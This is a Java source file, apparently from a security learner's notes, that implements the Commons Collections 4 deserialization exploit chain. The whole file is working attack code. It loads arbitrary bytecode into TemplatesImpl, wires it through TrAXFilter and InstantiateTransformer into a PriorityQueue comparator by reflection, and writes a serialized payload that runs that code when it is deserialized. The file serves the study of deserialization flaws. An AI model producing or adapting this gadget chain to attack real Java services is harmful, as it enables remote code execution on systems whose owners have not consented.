import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.PriorityQueue;

// 最终 EXP 版本

public class CC4EXP {

public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

Class templatesClass = templates.getClass();

Field nameField = templatesClass.getDeclaredField("_name");

nameField.setAccessible(true);

nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");

bytecodesField.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));

byte[][] codes = {evil};

bytecodesField.set(templates,codes);

// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");

// tfactoryField.setAccessible(true);

// tfactoryField.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},

new Object[]{templates});

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数

instantiateTransformer

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);

priorityQueue.add(2);

Class c = transformingComparator.getClass();

Field transformingField = c.getDeclaredField("transformer");

transformingField.setAccessible(true);

transformingField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);

unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

oos.writeObject(obj);

}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));

Object obj = ois.readObject();

return obj;

}

}